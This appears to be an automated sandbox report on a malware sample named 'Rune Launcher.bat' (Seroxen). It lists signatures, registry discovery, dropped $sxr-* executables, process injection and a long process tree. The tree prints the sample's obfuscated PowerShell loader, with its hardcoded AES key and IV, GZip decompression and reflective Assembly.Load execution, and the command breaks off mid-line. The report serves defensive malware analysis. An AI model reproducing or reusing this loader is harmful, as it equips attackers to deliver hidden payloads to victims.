525e633900e52ac6f6e58f1e2ddb8585fda73a62babe82d181dc28abceec5aa8

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
11/11/2023, 19:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

ogpfp.webp
Size

2KB
MD5

34c23c33643b37d0a38e636dfdaa7998
SHA1

3468bd3d1ba7605ab2f92c942a64bcd4b361075f
SHA256

525e633900e52ac6f6e58f1e2ddb8585fda73a62babe82d181dc28abceec5aa8
SHA512

5339ea5fe97089dcb3577ac632ce14e2cc5f6bbf67bb8ff19e1d5037ae987d1cb11c3d0dc8b7914b012fc418e7f5d16575df7ff312af98c7c0365c8f2d742356

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5404 created 632	5404	Rune Launcher.bat.exe	3

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	Rune Launcher.bat.exe

Executes dropped EXE 3 IoCs

pid	Process
5404	Rune Launcher.bat.exe
1916	Rune Launcher.bat.exe
4972	$sxr-mshta.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5404 set thread context of 5836	5404	Rune Launcher.bat.exe	160
PID 5404 set thread context of 2764	5404	Rune Launcher.bat.exe	161

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-mshta.exe	Rune Launcher.bat.exe
File created	C:\Windows\$sxr-cmd.exe	Rune Launcher.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	Rune Launcher.bat.exe
File created	C:\Windows\$sxr-powershell.exe	Rune Launcher.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Rune Launcher.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Rune Launcher.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 45 IoCs

pid	Process
3856	msedge.exe
3856	msedge.exe
5060	msedge.exe
5060	msedge.exe
5988	identity_helper.exe
5988	identity_helper.exe
1032	msedge.exe
1032	msedge.exe
5404	Rune Launcher.bat.exe
5404	Rune Launcher.bat.exe
5404	Rune Launcher.bat.exe
1916	Rune Launcher.bat.exe
1916	Rune Launcher.bat.exe
1916	Rune Launcher.bat.exe
4572	chrome.exe
4572	chrome.exe
2616	msedge.exe
2616	msedge.exe
2616	msedge.exe
2616	msedge.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5404	Rune Launcher.bat.exe
5836	dllhost.exe
5836	dllhost.exe
5836	dllhost.exe
5836	dllhost.exe
5172	taskmgr.exe
5172	taskmgr.exe
2764	dllhost.exe
2764	dllhost.exe
2764	dllhost.exe
2764	dllhost.exe
5172	taskmgr.exe
5172	taskmgr.exe
5404	Rune Launcher.bat.exe
5404	Rune Launcher.bat.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	5404	Rune Launcher.bat.exe
Token: SeDebugPrivilege	1916	Rune Launcher.bat.exe
Token: SeDebugPrivilege	5172	taskmgr.exe
Token: SeSystemProfilePrivilege	5172	taskmgr.exe
Token: SeCreateGlobalPrivilege	5172	taskmgr.exe
Token: SeDebugPrivilege	5404	Rune Launcher.bat.exe
Token: SeDebugPrivilege	5836	dllhost.exe
Token: SeDebugPrivilege	2764	dllhost.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe

Suspicious use of SendNotifyMessage 48 IoCs

pid	Process
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5060	msedge.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe
5172	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1780 wrote to memory of 5060	1780	cmd.exe	93
PID 1780 wrote to memory of 5060	1780	cmd.exe	93
PID 5060 wrote to memory of 4016	5060	msedge.exe	94
PID 5060 wrote to memory of 4016	5060	msedge.exe	94
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 264	5060	msedge.exe	104
PID 5060 wrote to memory of 3856	5060	msedge.exe	102
PID 5060 wrote to memory of 3856	5060	msedge.exe	102
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103
PID 5060 wrote to memory of 1360	5060	msedge.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{167f0e24-1906-4b45-94f1-eb4fd4b28d6a}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5836

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ogpfp.webp
1⤵
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\ogpfp.webp
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffde2fe46f8,0x7ffde2fe4708,0x7ffde2fe4718
    3⤵
    PID:4016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2636 /prefetch:8
    3⤵
    PID:1360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2260 /prefetch:2
    3⤵
    PID:264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
    3⤵
    PID:2968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
    3⤵
    PID:1456
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5144 /prefetch:8
    3⤵
    PID:5972
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5144 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5232 /prefetch:1
    3⤵
    PID:6100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5212 /prefetch:1
    3⤵
    PID:6092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3544 /prefetch:1
    3⤵
    PID:3456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5464 /prefetch:1
    3⤵
    PID:5100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1988 /prefetch:1
    3⤵
    PID:6096
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5900 /prefetch:1
    3⤵
    PID:4048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:1
    3⤵
    PID:4300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3584 /prefetch:8
    3⤵
    PID:5640
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5400 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2060,234447245237295443,11480564868777837708,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3136 /prefetch:2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2616

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffde3129758,0x7ffde3129768,0x7ffde3129778
1⤵
PID:3112

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1780 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:2
1⤵
PID:3280

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2244 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:8
1⤵
PID:1596

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:8
1⤵
PID:3332

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=3032 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:1
1⤵
PID:1808

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=3040 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:1
1⤵
PID:3564

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:3776

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --mojo-platform-channel-handle=4648 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:1
1⤵
PID:5044

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3964 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:8
1⤵
PID:2508

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4928 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:8
1⤵
PID:3904

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3528 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:8
1⤵
PID:260

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4932 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:8
1⤵
PID:2108

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5248

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5292

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5904

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Rune\Rune Launcher.bat" "
1⤵
PID:5324
- C:\Users\Admin\Downloads\Rune\Rune Launcher.bat.exe
  "Rune Launcher.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function SHGwC($UTBCI){ $fmqbG=[System.Security.Cryptography.Aes]::Create(); $fmqbG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $fmqbG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $fmqbG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdXtlctSlAP8m6SKCcO2vkUdPZ3Es/58jfEWNOVlhFQ='); $fmqbG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/iWwpOMjdiY7RIMNInl/fA=='); $HomqC=$fmqbG.CreateDecryptor(); $return_var=$HomqC.TransformFinalBlock($UTBCI, 0, $UTBCI.Length); $HomqC.Dispose(); $fmqbG.Dispose(); $return_var;}function deYtL($UTBCI){ $znuQU=New-Object System.IO.MemoryStream(,$UTBCI); $MFuZx=New-Object System.IO.MemoryStream; $mbhrH=New-Object System.IO.Compression.GZipStream($znuQU, [IO.Compression.CompressionMode]::Decompress); $mbhrH.CopyTo($MFuZx); $mbhrH.Dispose(); $znuQU.Dispose(); $MFuZx.Dispose(); $MFuZx.ToArray();}function IPTXo($UTBCI,$xCkWf){ $UZztt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$UTBCI); $nwjQd=$UZztt.EntryPoint; $nwjQd.Invoke($null, $xCkWf);}$gjCip=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\Downloads\Rune\Rune Launcher.bat').Split([Environment]::NewLine);foreach ($iuYEU in $gjCip) { if ($iuYEU.StartsWith('SEROXEN')) { $LOAzE=$iuYEU.Substring(7); break; }}$ceDNZ=[string[]]$LOAzE.Split('\');$SeRqZ=deYtL (SHGwC ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ceDNZ[0])));$KRkmN=deYtL (SHGwC ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ceDNZ[1])));IPTXo $KRkmN (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));IPTXo $SeRqZ (,[string[]] ('', 